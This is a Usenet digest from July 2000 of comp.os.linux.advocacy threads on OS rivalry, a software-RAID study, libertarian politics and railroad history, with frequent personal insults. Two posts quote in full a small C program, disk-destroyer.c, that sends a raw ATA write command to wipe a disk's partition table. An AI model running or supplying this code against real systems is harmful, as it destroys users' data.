Linux-Advocacy Digest #98, Volume #28 Sat, 29 Jul 00 17:13:04 EDT
Contents:
Re: Linux can physically destroy your hard drive! ("Aaron R. Kulkis")
Re: Linux is blamed for users trolling-wish. ("Colin R. Day")
Re: A Case Study of Software RAID Systems ("Aaron R. Kulkis")
Re: Anti-Human Libertarians Oppose Microsoft Antitrust Action (was: Microsoft
Ruling Too Harsh (Donovan Rebbechi)
Re: Yeah! Bring down da' man! (John Jensen)
Re: Am I the only one that finds this just a little scary? (Arthur Frain)
Re: Linux can physically destroy your hard drive! (mlw)
Re: Linux can physically destroy your hard drive! (Donovan Rebbechi)
Re: Aaron Kulkis -- USELESS Idiot -- And His "Enemies" -was- Another one of
Lenin's Useful Idiots denies reality ("Spud")
Re: Yeah! Bring down da' man! (Marty)
Re: Anti-Human Libertarians Oppose Microsoft Antitrust Action (was: ("Aaron R.
Kulkis")
Re: Linux can physically destroy your hard drive! ("Aaron R. Kulkis")
Re: Aaron Kulkis -- USELESS Idiot -- And His "Enemies" -was- Another ("Aaron R.
Kulkis")
Re: Am I the only one that finds this just a little scary? ("Colin R. Day")
----------------------------------------------------------------------------
From: "Aaron R. Kulkis" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Linux can physically destroy your hard drive!
Date: Sat, 29 Jul 2000 16:12:19 -0400
sandrews wrote:
>
> Drestin Black wrote:
> >
> > Remember how we always laughed at people when they'd stay stupid things
> > like: "I installed this game and it physically destroyed my hard drive" and
> > we'd patiently point out that that's impossible and it's probably a fried
> > partition and/or FAT table and so on...
> >
> > well, it turns out that Linux onces again "innovates" - it's now possible to
> > actually, physically destroy your hard drive using some simple code (link
> > provided)...
> >
> > Turning disks to bricks with Linux. Andre Hedrick is the maintainer of the
> > Linux IDE/ATA subsystem; as such, he works with a piece of code that is
> > critical to the vast majority of Linux users. He also sits on the ATA
> > standards committee, and understands well the ups and downs of how the
> > protocol works.
> > He recently discovered a significant "down." It seems that there are certain
> > ATA commands that can be sent to a drive which will cause it to destroy
> > itself. Andre posted a thing he called disk-destroyer.c (see below) which
> > will use an IDE command to trash the partition table on a disk, thus
> > rendering all data inaccessible. Apparently, however, there are other
> > variants possible which will cause the drive to wipe out its firmware, thus
> > turning it into a true brick.
> >
> > And here is the code:
> >
> > /*
> > * gcc -Wall -Wstrict-prototypes -O2 -s -o disk-destroyer disk-destroyer.c
> > */
> >
> > #include <unistd.h>
> > #include <linux/string.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <stdio.h>
> > #include <fcntl.h>
> > #include <errno.h>
> > #include <ctype.h>
> > #include <sys/ioctl.h>
> > #include <sys/shm.h>
> > #include <sys/stat.h>
> > #include <sys/sysmacros.h>
> > #include <sys/time.h>
> > #include <sys/times.h>
> > #include <sys/types.h>
> > #include <linux/hdreg.h>
> > #include <linux/fs.h>
> > #include <linux/major.h>
> >
> > int main(int argc, char *argv[])
> > {
> > unsigned char args[4+512] = {WIN_WRITE,0,0,1,};
> >
> > int fd;
> >
> > if (argc != 2) {
> > printf("usage: %s device\n", argv[0]);
> > return 0;
> > }
> > if ((fd = open(argv[1], O_RDWR|O_NONBLOCK)) == -1) {
> > perror("couldn't open device");
> > return 0;
> > }
> >
> > if (ioctl(fd, HDIO_DRIVE_CMD, &args))
> > perror(" DISK_DESTROYER falied");
> >
> > close(fd);
> > return 0;
> > }
>
> Are you saying this won`t run on ms systems?
> I think it very well could.
Necessity dictates that an equivalent exists. How else would FDISK
work?
>
>
>
> --
> M$ Windows is aptly named, after all, it's easily
> broken, and offers little
> security, just like the glass ones...
--
Aaron R. Kulkis
Unix Systems Engineer
ICQ # 3056642
I: "Having found not one single carbon monoxide leak on the entire
premises, it is my belief, and Willard concurs, that the reason
you folks feel listless and disoriented is simply because
you are lazy, stupid people"
A: The wise man is mocked by fools.
B: "Jeem" Dutton is a fool of the pathological liar sort.
C: Jet plays the fool and spews out nonsense as a method of
sidetracking discussions which are headed in a direction
that she doesn't like.
D: Jet claims to have killfiled me.
E: Jet now follows me from newgroup to newsgroup
...despite (D) above.
F: Neither Jeem nor Jet are worthy of the time to compose a
response until their behavior improves.
G: Unit_4's "Kook hunt" reminds me of "Jimmy Baker's" harangues against
adultery while concurrently committing adultery with Tammy Hahn.
H: Knackos...you're a retard.
------------------------------
From: "Colin R. Day" <[EMAIL PROTECTED]>
Crossposted-To: alt.sad-people.microsoft.lovers,alt.destroy.microsoft
Subject: Re: Linux is blamed for users trolling-wish.
Date: Sat, 29 Jul 2000 16:17:46 -0400
Bob Hauck wrote:
> On Fri, 28 Jul 2000 23:31:32 -0400, Colin R. Day <[EMAIL PROTECTED]>
> wrote:
>
> >But part of the "code bloat" of X is that it is network transparent, which
> >makes it somewhat overdesigned for a standalone PC.
>
> In a business environment, few PC's are "standalone" any more. Even in
> the home, networking is becoming standard. And in a networked
> envoironment, this "bloat" is very useful.
My PC is a standalone, but I have few complaints about X, anyway
Colin Day
------------------------------
From: "Aaron R. Kulkis" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: A Case Study of Software RAID Systems
Date: Sat, 29 Jul 2000 16:16:08 -0400
[EMAIL PROTECTED] wrote:
>
> If one actualy reads the article we find the following:
>
> <quote>
>
> "For the experiments in this paper, we chose to limit the fault
> injection to faults affecting the disks comprising the software RAID
> volume, as those are the primary hardware failure points in a
> software RAID system. Since we wanted to generate a range of different
> disk faults in a controlled manner, we rejected the simplistic
> fault-injection technique of pulling disks out of a live system.
> Instead, we replaced one of the SCSI disks in the software RAID volume
> with an emulated disk, a PC running special software with a special SCSI
> controller that makes the combination of
> PC+controller+software appear to other devices on the SCSI bus as a disk
> drive (i.e., a SCSI target rather than a SCSI controller). Thus our
> systems under test saw the PC emulating the disk as a
> real disk drive."
>
> </quote>
>
> I ask, what steps were taken to eleminate the "emulation" as a possible
> factor (emulation != real environment)
>
> Linux and solaris support and were configured with active spares
>
> <quote>
>
> For Linux, we used the Redhat 6.0 distribution with version 0.90-3 of
> the RAID tools. The RAID volume was configured as 4 active disks plus
> one spare, left-symmetric parity, and a chunk size of
> 32. An ext2 file system was used with a 4KB block size and a stripe
> width of 8.
>
> The Solaris system ran the 3/99 release of Solaris 7 for Intel
> architectures. We installed version 4.2 of Sun's Solstice DiskSuite and
> used it to create a RAID-5 ``metadevice'' with 4 active disks
> and one spare. The RAID volume was formatted with a Solaris UFS file
> system with default parameters.
>
> </quote>
>
> W2K does not....
>
> <quote>
>
> The Windows 2000 Server system was running release candidate build 2128
> of the operating system. We used the supplied volume manager to create
> the RAID-5 logical volume out of 4 active
> disks. Windows 2000 does not support automatic spares, as far as we
> could determine, so the spare disks were left as separate dynamic disks
> in the volume manager. An NTFS file system was
> used on the array with default parameters.
>
> </quote>
>
> The ability to have an active spare is quite important and could have
> affected the outcome . I would like to have seen the test done again
> Without active spares configured to see if that accounted for the
> differances. (apples vs. oranges)
>
> All and all a great student paper...
Except that behaviors C-1 and C-2 should have been B-2 and B-1,
respectively, and Behavior B should have been C.
That way, the order of behavior from Best to worst would have been
A
B-1
B-2
C
D
Instead, the order of behavior from best to worst is
A
C-2
C-1
B
D
Which makes the chart much more difficult to read.
--
Aaron R. Kulkis
Unix Systems Engineer
ICQ # 3056642
I: "Having found not one single carbon monoxide leak on the entire
premises, it is my belief, and Willard concurs, that the reason
you folks feel listless and disoriented is simply because
you are lazy, stupid people"
A: The wise man is mocked by fools.
B: "Jeem" Dutton is a fool of the pathological liar sort.
C: Jet plays the fool and spews out nonsense as a method of
sidetracking discussions which are headed in a direction
that she doesn't like.
D: Jet claims to have killfiled me.
E: Jet now follows me from newgroup to newsgroup
...despite (D) above.
F: Neither Jeem nor Jet are worthy of the time to compose a
response until their behavior improves.
G: Unit_4's "Kook hunt" reminds me of "Jimmy Baker's" harangues against
adultery while concurrently committing adultery with Tammy Hahn.
H: Knackos...you're a retard.
------------------------------
From: [EMAIL PROTECTED] (Donovan Rebbechi)
Crossposted-To:
misc.legal,talk.politics.misc,alt.politics.libertarian,talk.politics.libertarian
Subject: Re: Anti-Human Libertarians Oppose Microsoft Antitrust Action (was:
Microsoft Ruling Too Harsh
Date: 29 Jul 2000 20:19:59 GMT
On 29 Jul 2000 19:01:20 GMT, Loren Petrich wrote:
>In article <[EMAIL PROTECTED]>,
>Donovan Rebbechi <[EMAIL PROTECTED]> wrote:
>>I just don't think this "big bad capitalism" thing you're putting on
>>holds water.
>
> And have you gotten promoted as a result?
Sorry, I don't get your point. Do you have a point ?
--
Donovan
------------------------------
From: John Jensen <[EMAIL PROTECTED]>
Crossposted-To:
comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Yeah! Bring down da' man!
Date: 29 Jul 2000 20:27:08 GMT
Craig Kelley <[EMAIL PROTECTED]> writes:
: John Jensen <[EMAIL PROTECTED]> writes:
: Yes, if some program does something like:
: my @pwent = split (/:/, $line_from_passwd_file);
: then it will break with time; which is why we have the accessor
: functions (ie, getpwent, etc.). XML really doesn't solve this problem
: either 'cause if you change something from an array to a hash or
: whatever, you'll still have problems.
I'm not ready to say anyting is solved, but I think that anything which
uses name/values improves the situation. The 'split' example, and indeed
some XML implementations, rely on ordering rather than name/value pairs.
: A well designed data structure can exist either way, though. If
: someone were to implement an XML representation of /etc/passwd as an
: <array> you'd have the same "problem" we already have.
If I understand you right, you mean placement in an array. Sure, IMO that
pretty much defeats the opportunity available with name/value pairs.
I would expect a run-time look-up for <id>134</> or <name>john</> to be
more forgiving than a build-time assumption of placement.
John
------------------------------
From: Arthur Frain <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Am I the only one that finds this just a little scary?
Date: Sat, 29 Jul 2000 12:57:37 -0700
Jim Richardson wrote:
> You are correct that the first intercon RR was basically a govt project, but
> there was at least one that did it without fed funds, Burlington Northern, I
> think it is mentioned in "Myth of the Robber Barons"
The Burlington Northern (which may have changed names
again recently?) was originally the Great Northern
Railroad and was built by James J. Hill. It was built
later, and went to Seattle and not California. There
wasn't any gold in Seattle, and it hadn't just been
"liberated" from Mexican control, which seem like
good reasons (among lots of others) for the govt to
back a RR to CA.
> Govt runs poorly at best, sometimes (like the micro electronics industry) it
> hits a goldmine as it were, most of the time, the funds are spent on massive
> boondoggles, vastky outweighing the positive results. If the funds were
> collected without theft, then that would be fine, But they aren't.
The idea that "govt runs poorly at best" is nonsense,
as I've pointed out in other threads. A simple example
(and not as trivial as it seems at first look): the
University of Wisconsin Badgers (a government backed
football team) became the first Big Ten team to win
back-to-back Rose Bowl titles by defeating Stanford
(a private university team, from a school funded by
the profits Leland Stanford made in part from building
the first transcontinental RR). It seems government
runs football teams very well at best, which is
sufficient to refute your claim. Government does lots
of other things well, and lots of other things horribly.
Just like private enterprise.
"Taxation is theft" is a philosophical claim,
not a legal one, and it represents a philosophy I
don't adhere to or even admire.
Arthur (UW '73)
------------------------------
From: mlw <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Linux can physically destroy your hard drive!
Date: Sat, 29 Jul 2000 16:31:58 -0400
[EMAIL PROTECTED] wrote:
>
> Such a program can be writen to do the same in MS software... Your
> point???
It is probably easier to get a program such as this to run on Windows
and NT than it is on a UNIX system, because raw devices are usually
protected with filesystem permissions, and unless you given users write
access to the raw device, you will only be able to run this as root.
(And only a fool would leave raw device unprotected!)
In Windows, this is a DOS call. In NT it is a DeviceIoControl call.
Seeing as most people run NT with admin privileges, no sweat.
This hardware exploit probably will find its way into a Windows e-mail
virus.
>
> In article <39830c8b$0$2247$[EMAIL PROTECTED]>,
> "Drestin Black" <[EMAIL PROTECTED]> wrote:
> > Remember how we always laughed at people when they'd stay stupid
> things
> > like: "I installed this game and it physically destroyed my hard
> drive" and
> > we'd patiently point out that that's impossible and it's probably a
> fried
> > partition and/or FAT table and so on...
> >
> > well, it turns out that Linux onces again "innovates" - it's now
> possible to
> > actually, physically destroy your hard drive using some simple code
> (link
> > provided)...
> >
> > Turning disks to bricks with Linux. Andre Hedrick is the maintainer of
> the
> > Linux IDE/ATA subsystem; as such, he works with a piece of code that
> is
> > critical to the vast majority of Linux users. He also sits on the ATA
> > standards committee, and understands well the ups and downs of how the
> > protocol works.
> > He recently discovered a significant "down." It seems that there are
> certain
> > ATA commands that can be sent to a drive which will cause it to
> destroy
> > itself. Andre posted a thing he called disk-destroyer.c (see below)
> which
> > will use an IDE command to trash the partition table on a disk, thus
> > rendering all data inaccessible. Apparently, however, there are other
> > variants possible which will cause the drive to wipe out its firmware,
> thus
> > turning it into a true brick.
> >
> > And here is the code:
> >
> > /*
> > * gcc -Wall -Wstrict-prototypes -O2 -s -o disk-destroyer
> disk-destroyer.c
> > */
> >
> > #include <unistd.h>
> > #include <linux/string.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <stdio.h>
> > #include <fcntl.h>
> > #include <errno.h>
> > #include <ctype.h>
> > #include <sys/ioctl.h>
> > #include <sys/shm.h>
> > #include <sys/stat.h>
> > #include <sys/sysmacros.h>
> > #include <sys/time.h>
> > #include <sys/times.h>
> > #include <sys/types.h>
> > #include <linux/hdreg.h>
> > #include <linux/fs.h>
> > #include <linux/major.h>
> >
> > int main(int argc, char *argv[])
> > {
> > unsigned char args[4+512] = {WIN_WRITE,0,0,1,};
> >
> > int fd;
> >
> > if (argc != 2) {
> > printf("usage: %s device\n", argv[0]);
> > return 0;
> > }
> > if ((fd = open(argv[1], O_RDWR|O_NONBLOCK)) == -1) {
> > perror("couldn't open device");
> > return 0;
> > }
> >
> > if (ioctl(fd, HDIO_DRIVE_CMD, &args))
> > perror(" DISK_DESTROYER falied");
> >
> > close(fd);
> > return 0;
> > }
> >
> >
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
--
Mohawk Software
Windows 9x, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit http://www.mohawksoft.com
Nepotism proves the foolishness of at least two people.
------------------------------
From: [EMAIL PROTECTED] (Donovan Rebbechi)
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Linux can physically destroy your hard drive!
Date: 29 Jul 2000 20:35:03 GMT
On Sat, 29 Jul 2000 18:43:42 GMT, Bob Hauck wrote:
>On 29 Jul 2000 11:57:44 -0500, Drestin Black
><[EMAIL PROTECTED]> wrote:
>Linux. This being a problem with the IDE _hardware_, it would affect
>all other systems that support IDE.
... so I doubt it will have any effect on my linux system (_;
--
Donovan
------------------------------
From: "Spud" <[EMAIL PROTECTED]>
Crossposted-To:
alt.fan.rush-limbaugh,misc.legal,talk.politics.misc,alt.politics.libertarian,talk.politics.libertarian,alt.society.liberalism
Subject: Re: Aaron Kulkis -- USELESS Idiot -- And His "Enemies" -was- Another one
of Lenin's Useful Idiots denies reality
Date: Sat, 29 Jul 2000 13:38:46 -0700
[snips]
"Aaron R. Kulkis" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> > driver not even in the car. Seen the Libertarian poll numbers
lately there
> > chief?
>
> Sooooooooooo, truth is determined by how many idiots agree with an
idea.
I see you agree with the suggestion others have made that those
supporting the Libertarian position are, in fact, idiots.
Hmm... wait a sec... didn't you say *you* were such a person? :)
------------------------------
From: Marty <[EMAIL PROTECTED]>
Crossposted-To:
comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Yeah! Bring down da' man!
Date: Sat, 29 Jul 2000 20:37:04 GMT
[EMAIL PROTECTED] wrote:
>
> You didn't state it like it was meaningless opinion.
>
> [deletia]
>
> If you can't actually describe what is wrong with what you have,
> it is absurd to think that you have any clue what you want. At
> best you just seem to be on an anti-Microsoft jihad.
Since your memory is failing, here's what I originally said which kicked this
whole thing off:
"I've really been getting nauseated with Linux ever since I first laid eyes on
fvwm95. I ran Slackware a while back and I thought it was pretty keen. But
Redhat makes me want to vomit. Everything tries to magically configure itself
and do everything for me, the stupid user. Unfortunately when something goes
wrong (not if) there are now 12 more layers of complexity in my way to work on
solving the problem. In the old Slackware days, I used to find the exact
script or configuration file in no time flat, make the change, and I was done.
I despise software that assumes I have no clue what I'm doing."
Do you see the word "Microsoft" in there? And after reading it again, what
was I actually complaining about (read the last quoted line)? I've got a very
good idea what I want and need, your arrogant idiocy notwithstanding.
> >> Personally, I think you're just a mindless troublemaker.
> >
> >How ironic.
> >
> >Meanwhile you've again leapt up onto your high horse and told me,
> >matter-of-fact, that I don't know what I'm talking about while offering no
> >credentials of your own. Your words are worthless and frankly I'm surprised
>
> Credentials are not required.
They are if you're going to tell me what I do and don't want. Meanwhile I see
you've avoided presenting them again. Not surprising. If you had anything of
note, you'd undoubtedly have offered it. As I figured, I'm talking to a
pumped up end user who doesn't know jack shit.
> I'm not the one making the vacuous claims
Bullshit. You're the one who's telling me that you know better than I do what
is suited for me.
> and avoiding any attempt to add any useful detail to them.
"I despise software that assumes I have no clue what I'm doing."
I've already given as much detail as anyone needs to see where I'm coming
from.
> >you know how to use that new-fangled "internet" thing at all.
>
> It would not surprise me if I have been flaming morons
Don't you mean "have been a flaming moron"?
> like you here on the net since before you even started computing.
What makes me a moron? I know what makes you an asshole: your arrogance.
But nothing I've said shows me as being ignorant or misinformed. Talk about
"vacuous claims"! "You can't even articulate" what you feel makes me a moron.
> >Perhaps for the next discussion you'll have the decency and mental facilities
> >necessary to read what was written as opposed to making up what you wanted to
> >see written.
>
> I read what was written: empty accusations.
Read it again. Try comprehending it this time.
> That's what they remain despite your attempts to distract the
> discussion with personal attacks.
"Please keep in my that your own obstinance and superiority complex brought
the discussion down to this level."
Trying to pass the buck on this one, eh? Not surprising given your other
cowardly "techniques".
> You can't even articulate what precisely is 'wrong'.
"I despise software that assumes I have no clue what I'm doing."
> Nor can you offer any suggestions regarding alternatives, not even
> unrealistic ones.
Why should I? It's not my problem, after all. I've made it not be my problem
by chosing a platform that met my tastes better.
------------------------------
From: "Aaron R. Kulkis" <[EMAIL PROTECTED]>
Crossposted-To:
misc.legal,talk.politics.misc,alt.politics.libertarian,talk.politics.libertarian
Subject: Re: Anti-Human Libertarians Oppose Microsoft Antitrust Action (was:
Date: Sat, 29 Jul 2000 16:38:07 -0400
Donovan Rebbechi wrote:
>
> On 29 Jul 2000 19:01:20 GMT, Loren Petrich wrote:
> >In article <[EMAIL PROTECTED]>,
> >Donovan Rebbechi <[EMAIL PROTECTED]> wrote:
>
> >>I just don't think this "big bad capitalism" thing you're putting on
> >>holds water.
> >
> > And have you gotten promoted as a result?
>
> Sorry, I don't get your point. Do you have a point ?
Only on his head.
>
> --
> Donovan
--
Aaron R. Kulkis
Unix Systems Engineer
ICQ # 3056642
I: "Having found not one single carbon monoxide leak on the entire
premises, it is my belief, and Willard concurs, that the reason
you folks feel listless and disoriented is simply because
you are lazy, stupid people"
A: The wise man is mocked by fools.
B: "Jeem" Dutton is a fool of the pathological liar sort.
C: Jet plays the fool and spews out nonsense as a method of
sidetracking discussions which are headed in a direction
that she doesn't like.
D: Jet claims to have killfiled me.
E: Jet now follows me from newgroup to newsgroup
...despite (D) above.
F: Neither Jeem nor Jet are worthy of the time to compose a
response until their behavior improves.
G: Unit_4's "Kook hunt" reminds me of "Jimmy Baker's" harangues against
adultery while concurrently committing adultery with Tammy Hahn.
H: Knackos...you're a retard.
------------------------------
From: "Aaron R. Kulkis" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Linux can physically destroy your hard drive!
Date: Sat, 29 Jul 2000 16:39:51 -0400
Bob Hauck wrote:
>
> On 29 Jul 2000 11:57:44 -0500, Drestin Black
> <[EMAIL PROTECTED]> wrote:
>
> >Remember how we always laughed at people when they'd stay stupid things
>
> I'm laughing now, at the advocate who does not think before posting.
>
> >well, it turns out that Linux onces again "innovates" - it's now possible to
> >actually, physically destroy your hard drive using some simple code (link
> >provided)...
>
> But not by accident, and not unless you are root, and not just on
> Linux. This being a problem with the IDE _hardware_, it would affect
> all other systems that support IDE. Some of _them_ do not have any
> security at all so any user can do this.
And...of course...who keeps promoting IDE instead of the far
superior SCSI....Microsoft, of course.
>
> --
> -| Bob Hauck
> -| To Whom You Are Speaking
> -| http://www.haucks.org/
--
Aaron R. Kulkis
Unix Systems Engineer
ICQ # 3056642
I: "Having found not one single carbon monoxide leak on the entire
premises, it is my belief, and Willard concurs, that the reason
you folks feel listless and disoriented is simply because
you are lazy, stupid people"
A: The wise man is mocked by fools.
B: "Jeem" Dutton is a fool of the pathological liar sort.
C: Jet plays the fool and spews out nonsense as a method of
sidetracking discussions which are headed in a direction
that she doesn't like.
D: Jet claims to have killfiled me.
E: Jet now follows me from newgroup to newsgroup
...despite (D) above.
F: Neither Jeem nor Jet are worthy of the time to compose a
response until their behavior improves.
G: Unit_4's "Kook hunt" reminds me of "Jimmy Baker's" harangues against
adultery while concurrently committing adultery with Tammy Hahn.
H: Knackos...you're a retard.
------------------------------
From: "Aaron R. Kulkis" <[EMAIL PROTECTED]>
Crossposted-To:
alt.fan.rush-limbaugh,misc.legal,talk.politics.misc,alt.politics.libertarian,talk.politics.libertarian,alt.society.liberalism
Subject: Re: Aaron Kulkis -- USELESS Idiot -- And His "Enemies" -was- Another
Date: Sat, 29 Jul 2000 16:48:47 -0400
Spud wrote:
>
> [snips]
>
> "Aaron R. Kulkis" <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]...
>
> > > driver not even in the car. Seen the Libertarian poll numbers
> lately there
> > > chief?
> >
> > Sooooooooooo, truth is determined by how many idiots agree with an
> idea.
>
> I see you agree with the suggestion others have made that those
> supporting the Libertarian position are, in fact, idiots.
>
> Hmm... wait a sec... didn't you say *you* were such a person? :)
So, you are saying that unnecessary government interference in people's
businesses and personal lives is a good thing.
--
Aaron R. Kulkis
Unix Systems Engineer
ICQ # 3056642
I: "Having found not one single carbon monoxide leak on the entire
premises, it is my belief, and Willard concurs, that the reason
you folks feel listless and disoriented is simply because
you are lazy, stupid people"
A: The wise man is mocked by fools.
B: "Jeem" Dutton is a fool of the pathological liar sort.
C: Jet plays the fool and spews out nonsense as a method of
sidetracking discussions which are headed in a direction
that she doesn't like.
D: Jet claims to have killfiled me.
E: Jet now follows me from newgroup to newsgroup
...despite (D) above.
F: Neither Jeem nor Jet are worthy of the time to compose a
response until their behavior improves.
G: Unit_4's "Kook hunt" reminds me of "Jimmy Baker's" harangues against
adultery while concurrently committing adultery with Tammy Hahn.
H: Knackos...you're a retard.
------------------------------
From: "Colin R. Day" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Am I the only one that finds this just a little scary?
Date: Sat, 29 Jul 2000 16:50:31 -0400
[EMAIL PROTECTED] wrote:
> >>
> >
> >You mean like Burlington Northern? the private intercontinental RR did?
> >(While following their immediate "selfish" goals I might add.)
>
> Was this with or without considerable government subsidies?
>
Without.
Colin Day
------------------------------
** FOR YOUR REFERENCE **
The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:
Internet: [EMAIL PROTECTED]
You can send mail to the entire list (and comp.os.linux.advocacy) via:
Internet: [EMAIL PROTECTED]
Linux may be obtained via one of these FTP sites:
ftp.funet.fi pub/Linux
tsx-11.mit.edu pub/linux
sunsite.unc.edu pub/Linux
End of Linux-Advocacy Digest
******************************
